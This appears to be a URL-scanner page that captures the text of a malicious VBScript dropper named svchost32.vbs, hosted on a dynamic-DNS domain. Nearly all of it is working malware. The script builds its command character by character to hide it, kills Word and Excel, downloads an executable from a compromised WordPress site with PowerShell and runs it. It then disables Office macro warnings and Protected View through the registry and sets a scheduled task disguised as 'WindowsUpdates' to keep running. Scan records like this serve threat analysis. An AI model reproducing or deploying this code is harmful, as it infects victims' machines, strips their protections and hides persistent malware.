Sponsored by

jopittex.zapto.org
107.173.219.125 

Back to summary
URL: http://jopittex.zapto.org/msoffice/svchost32.vbs
Submission: On January 31 via api from CA

Form analysis 0 forms found in the DOM

Text Content

Set shhh = CreateObject("WScript.Shell")
Dim AnwEXnwu1S1
Dim AnwEXnwu1S2
Dim AnwEXnwu1S3
Dim AnwEXnwu1S4
Dim AnwEXnwu1S5
Dim AnwEXnwu1S6
Dim AnwEXnwu1S7
Dim AnwEXnwu1S8
Dim AnwEXnwu1S9
Dim AnwEXnwu1S010
Dim AnwEXnwu1S011
AnwEXnwu1S1 = "c"
AnwEXnwu1S1 = AnwEXnwu1S1 & "m"
AnwEXnwu1S1 = AnwEXnwu1S1 & "d"
AnwEXnwu1S1 = AnwEXnwu1S1 & "."
AnwEXnwu1S1 = AnwEXnwu1S1 & "e"
AnwEXnwu1S1 = AnwEXnwu1S1 & "x"
AnwEXnwu1S1 = AnwEXnwu1S1 & "e "
AnwEXnwu1S1 = AnwEXnwu1S1 & "/"
AnwEXnwu1S1 = AnwEXnwu1S1 & "K "
AnwEXnwu1S1 = AnwEXnwu1S1 & "t"
AnwEXnwu1S1 = AnwEXnwu1S1 & "a"
AnwEXnwu1S1 = AnwEXnwu1S1 & "s"
AnwEXnwu1S1 = AnwEXnwu1S1 & "k"
AnwEXnwu1S1 = AnwEXnwu1S1 & "k"
AnwEXnwu1S1 = AnwEXnwu1S1 & "i"
AnwEXnwu1S1 = AnwEXnwu1S1 & "l"
AnwEXnwu1S1 = AnwEXnwu1S1 & "l "
AnwEXnwu1S1 = AnwEXnwu1S1 & "/"
AnwEXnwu1S1 = AnwEXnwu1S1 & "f "
AnwEXnwu1S1 = AnwEXnwu1S1 & "/"
AnwEXnwu1S1 = AnwEXnwu1S1 & "i"
AnwEXnwu1S1 = AnwEXnwu1S1 & "m "
AnwEXnwu1S1 = AnwEXnwu1S1 & "w"
AnwEXnwu1S1 = AnwEXnwu1S1 & "i"
AnwEXnwu1S1 = AnwEXnwu1S1 & "n"
AnwEXnwu1S2 = "w"
AnwEXnwu1S2 = AnwEXnwu1S2 & "o"
AnwEXnwu1S2 = AnwEXnwu1S2 & "r"
AnwEXnwu1S2 = AnwEXnwu1S2 & "d"
AnwEXnwu1S2 = AnwEXnwu1S2 & "."
AnwEXnwu1S2 = AnwEXnwu1S2 & "e"
AnwEXnwu1S2 = AnwEXnwu1S2 & "x"
AnwEXnwu1S2 = AnwEXnwu1S2 & "e"
AnwEXnwu1S2 = AnwEXnwu1S2 & "&"
AnwEXnwu1S2 = AnwEXnwu1S2 & "t"
AnwEXnwu1S2 = AnwEXnwu1S2 & "a"
AnwEXnwu1S2 = AnwEXnwu1S2 & "s"
AnwEXnwu1S2 = AnwEXnwu1S2 & "k"
AnwEXnwu1S2 = AnwEXnwu1S2 & "k"
AnwEXnwu1S2 = AnwEXnwu1S2 & "i"
AnwEXnwu1S2 = AnwEXnwu1S2 & "l"
AnwEXnwu1S2 = AnwEXnwu1S2 & "l "
AnwEXnwu1S2 = AnwEXnwu1S2 & "/"
AnwEXnwu1S2 = AnwEXnwu1S2 & "f "
AnwEXnwu1S2 = AnwEXnwu1S2 & "/"
AnwEXnwu1S2 = AnwEXnwu1S2 & "i"
AnwEXnwu1S2 = AnwEXnwu1S2 & "m "
AnwEXnwu1S2 = AnwEXnwu1S2 & "E"
AnwEXnwu1S2 = AnwEXnwu1S2 & "x"
AnwEXnwu1S2 = AnwEXnwu1S2 & "c"
AnwEXnwu1S3 = "e"
AnwEXnwu1S3 = AnwEXnwu1S3 & "l"
AnwEXnwu1S3 = AnwEXnwu1S3 & "."
AnwEXnwu1S3 = AnwEXnwu1S3 & "e"
AnwEXnwu1S3 = AnwEXnwu1S3 & "x"
AnwEXnwu1S3 = AnwEXnwu1S3 & "e"
AnwEXnwu1S4 = "&"
AnwEXnwu1S4 = AnwEXnwu1S4 & "P"
AnwEXnwu1S4 = AnwEXnwu1S4 & "o"
AnwEXnwu1S4 = AnwEXnwu1S4 & "w"
AnwEXnwu1S4 = AnwEXnwu1S4 & "e"
AnwEXnwu1S4 = AnwEXnwu1S4 & "r"
AnwEXnwu1S4 = AnwEXnwu1S4 & "S"
AnwEXnwu1S4 = AnwEXnwu1S4 & "h"
AnwEXnwu1S4 = AnwEXnwu1S4 & "e"
AnwEXnwu1S5 = "l"
AnwEXnwu1S5 = AnwEXnwu1S5 & "l "
AnwEXnwu1S5 = AnwEXnwu1S5 & "("
AnwEXnwu1S5 = AnwEXnwu1S5 & "N"
AnwEXnwu1S5 = AnwEXnwu1S5 & "e"
AnwEXnwu1S5 = AnwEXnwu1S5 & "w"
AnwEXnwu1S5 = AnwEXnwu1S5 & "-"
AnwEXnwu1S5 = AnwEXnwu1S5 & "O"
AnwEXnwu1S5 = AnwEXnwu1S5 & "b"
AnwEXnwu1S5 = AnwEXnwu1S5 & "j"
AnwEXnwu1S5 = AnwEXnwu1S5 & "e"
AnwEXnwu1S5 = AnwEXnwu1S5 & "c"
AnwEXnwu1S5 = AnwEXnwu1S5 & "t "
AnwEXnwu1S5 = AnwEXnwu1S5 & "S"
AnwEXnwu1S5 = AnwEXnwu1S5 & "y"
AnwEXnwu1S5 = AnwEXnwu1S5 & "s"
AnwEXnwu1S5 = AnwEXnwu1S5 & "t"
AnwEXnwu1S5 = AnwEXnwu1S5 & "e"
AnwEXnwu1S6 = "m"
AnwEXnwu1S6 = AnwEXnwu1S6 & "."
AnwEXnwu1S6 = AnwEXnwu1S6 & "N"
AnwEXnwu1S6 = AnwEXnwu1S6 & "e"
AnwEXnwu1S6 = AnwEXnwu1S6 & "t"
AnwEXnwu1S6 = AnwEXnwu1S6 & "."
AnwEXnwu1S6 = AnwEXnwu1S6 & "W"
AnwEXnwu1S6 = AnwEXnwu1S6 & "e"
AnwEXnwu1S6 = AnwEXnwu1S6 & "b"
AnwEXnwu1S6 = AnwEXnwu1S6 & "C"
AnwEXnwu1S6 = AnwEXnwu1S6 & "l"
AnwEXnwu1S6 = AnwEXnwu1S6 & "i"
AnwEXnwu1S6 = AnwEXnwu1S6 & "e"
AnwEXnwu1S6 = AnwEXnwu1S6 & "n"
AnwEXnwu1S6 = AnwEXnwu1S6 & "t"
AnwEXnwu1S6 = AnwEXnwu1S6 & ")"
AnwEXnwu1S6 = AnwEXnwu1S6 & "."
AnwEXnwu1S7 = "D"
AnwEXnwu1S7 = AnwEXnwu1S7 & "o"
AnwEXnwu1S7 = AnwEXnwu1S7 & "w"
AnwEXnwu1S7 = AnwEXnwu1S7 & "n"
AnwEXnwu1S7 = AnwEXnwu1S7 & "l"
AnwEXnwu1S7 = AnwEXnwu1S7 & "o"
AnwEXnwu1S7 = AnwEXnwu1S7 & "a"
AnwEXnwu1S7 = AnwEXnwu1S7 & "d"
AnwEXnwu1S7 = AnwEXnwu1S7 & "F"
AnwEXnwu1S7 = AnwEXnwu1S7 & "i"
AnwEXnwu1S7 = AnwEXnwu1S7 & "l"
AnwEXnwu1S7 = AnwEXnwu1S7 & "e"
AnwEXnwu1S7 = AnwEXnwu1S7 & "("
AnwEXnwu1S7 = AnwEXnwu1S7 & "'http://www.bluesw.net/wp-admin//user/profile.exe '"
AnwEXnwu1S8 = ","
AnwEXnwu1S8 = AnwEXnwu1S8 & "'"
AnwEXnwu1S8 = AnwEXnwu1S8 & "%"
AnwEXnwu1S8 = AnwEXnwu1S8 & "P"
AnwEXnwu1S8 = AnwEXnwu1S8 & "u"
AnwEXnwu1S8 = AnwEXnwu1S8 & "b"
AnwEXnwu1S8 = AnwEXnwu1S8 & "l"
AnwEXnwu1S8 = AnwEXnwu1S8 & "i"
AnwEXnwu1S8 = AnwEXnwu1S8 & "c"
AnwEXnwu1S8 = AnwEXnwu1S8 & "%"
AnwEXnwu1S8 = AnwEXnwu1S8 & "\"
AnwEXnwu1S8 = AnwEXnwu1S8 & "s"
AnwEXnwu1S9 = "v"
AnwEXnwu1S9 = AnwEXnwu1S9 & "c"
AnwEXnwu1S9 = AnwEXnwu1S9 & "h"
AnwEXnwu1S9 = AnwEXnwu1S9 & "o"
AnwEXnwu1S9 = AnwEXnwu1S9 & "s"
AnwEXnwu1S9 = AnwEXnwu1S9 & "t"
AnwEXnwu1S9 = AnwEXnwu1S9 & "."
AnwEXnwu1S9 = AnwEXnwu1S9 & "e"
AnwEXnwu1S9 = AnwEXnwu1S9 & "x"
AnwEXnwu1S9 = AnwEXnwu1S9 & "e"
AnwEXnwu1S9 = AnwEXnwu1S9 & "'"
AnwEXnwu1S9 = AnwEXnwu1S9 & ")"
AnwEXnwu1S9 = AnwEXnwu1S9 & ";"
AnwEXnwu1S9 = AnwEXnwu1S9 & "S"
AnwEXnwu1S9 = AnwEXnwu1S9 & "t"
AnwEXnwu1S9 = AnwEXnwu1S9 & "a"
AnwEXnwu1S9 = AnwEXnwu1S9 & "r"
AnwEXnwu1S9 = AnwEXnwu1S9 & "t"
AnwEXnwu1S9 = AnwEXnwu1S9 & "-"
AnwEXnwu1S010 = "P"
AnwEXnwu1S010 = AnwEXnwu1S010 & "r"
AnwEXnwu1S010 = AnwEXnwu1S010 & "o"
AnwEXnwu1S010 = AnwEXnwu1S010 & "c"
AnwEXnwu1S010 = AnwEXnwu1S010 & "e"
AnwEXnwu1S010 = AnwEXnwu1S010 & "s"
AnwEXnwu1S010 = AnwEXnwu1S010 & "s "
AnwEXnwu1S010 = AnwEXnwu1S010 & "'"
AnwEXnwu1S010 = AnwEXnwu1S010 & "%"
AnwEXnwu1S010 = AnwEXnwu1S010 & "P"
AnwEXnwu1S010 = AnwEXnwu1S010 & "u"
AnwEXnwu1S010 = AnwEXnwu1S010 & "b"
AnwEXnwu1S010 = AnwEXnwu1S010 & "l"
AnwEXnwu1S010 = AnwEXnwu1S010 & "i"
AnwEXnwu1S010 = AnwEXnwu1S010 & "c"
AnwEXnwu1S011 = "%"
AnwEXnwu1S011 = AnwEXnwu1S011 & "\"
AnwEXnwu1S011 = AnwEXnwu1S011 & "s"
AnwEXnwu1S011 = AnwEXnwu1S011 & "v"
AnwEXnwu1S011 = AnwEXnwu1S011 & "c"
AnwEXnwu1S011 = AnwEXnwu1S011 & "h"
AnwEXnwu1S011 = AnwEXnwu1S011 & "o"
AnwEXnwu1S011 = AnwEXnwu1S011 & "s"
AnwEXnwu1S011 = AnwEXnwu1S011 & "t"
AnwEXnwu1S011 = AnwEXnwu1S011 & "."
AnwEXnwu1S011 = AnwEXnwu1S011 & "e"
AnwEXnwu1S011 = AnwEXnwu1S011 & "x"
AnwEXnwu1S011 = AnwEXnwu1S011 & "e"
AnwEXnwu1S011 = AnwEXnwu1S011 & "'"
AnwEXnwu1S12 = AnwEXnwu1S1 + AnwEXnwu1S2 + AnwEXnwu1S3 + AnwEXnwu1S4 + AnwEXnwu1S5 + AnwEXnwu1S6 + AnwEXnwu1S7 + AnwEXnwu1S8 + AnwEXnwu1S9 + AnwEXnwu1S010 + AnwEXnwu1S011
shhh.Run AnwEXnwu1S12, vbHide
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
set shhh = CreateObject("WScript.Shell")
Dim AnwEXnwu1Stime
AnwEXnwu1Stime = "cmd.exe /c SchTasks /Create /sc MINUTE /MO 360 /TN WindowsUpdates /TR C:\\Users\\Public\\svchost32.vbs"
shhh.run AnwEXnwu1Stime, vbHide